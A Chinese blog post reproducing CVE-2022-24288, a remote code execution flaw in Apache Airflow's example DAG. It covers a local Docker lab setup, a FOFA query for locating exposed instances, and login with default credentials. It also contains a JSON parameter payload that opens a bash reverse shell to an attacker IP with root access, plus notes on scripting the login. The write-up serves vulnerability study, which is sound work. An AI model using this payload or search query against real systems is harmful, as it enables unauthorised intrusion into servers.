CVE-2022-24288 apache airflow RCE漏洞复现分析
1. 漏洞环境
fofa key: title="Airflow - DAGs" || body="Apache Airflow"
采用本地搭建漏洞测试环境
# 获取yaml文档
curl -LfO 'https://airflow.apache.org/docs/apache-airflow/2.2.3/docker-compose.yaml'
# 更改文件配置
vim docker-compose.yaml
# 添加或修改为以下文件内容
services:
postgres:
image: postgres:latest
privileged: true
# 验证配置,-q参数表示仅验证配置,不输出
docker-compose config -q
# 初始化
docker-compose up airflow-init
# 启动docker
docker-compose -f docker-compose.yaml up -d
# 通过yourip:8080进行访问
全部为绿色的done则表示环境搭建成功,如果出现warning可以不用管(如果在验证配置阶段出现warning的话可以采用以下命令解决)
mkdir -p ./dags ./logs ./plugins
echo -e "AIRFLOW_UID=$(id -u)" > .env
2. 漏洞分析
从 example _ pass _ params _ via _ test _ command 脚本的源代码中可以看出,在模板表达式{{ params }}中有执行 bash 命令的函数,即 Foo 和 MIFF 参数。{{ params.{ Foo } }}是外部可控的
3. 复现过程
利用默认username和password为:airflow/airflow进行登录
登录后界面如下:
选择example_passing_params_via_test_command模块开启,更改配置并执行
此时选择kali针对999端口开启监听
配置文件处json插入反弹shell的payload
注意json中foo对应value为两对引号,用来闭合两边的引号
{"foo":"\";bash -i >& /dev/tcp/192.168.153.128/999 0>&1;\""}
结果如下所示
成功反弹shell,且默认为root权限
注意:
-
uri为
/login/?next={{BaseURL}}/home
取到头部的session
和响应体中的csrf_token
,便于后续的登录; -
在登录过程中,POST内容中携带csrf_token,请求头部中的Cookie为之前取到的session。
-
参考链接
本文来自博客园,作者:sherlson,转载请注明原文链接:https://www.cnblogs.com/sherlson/articles/16772729.html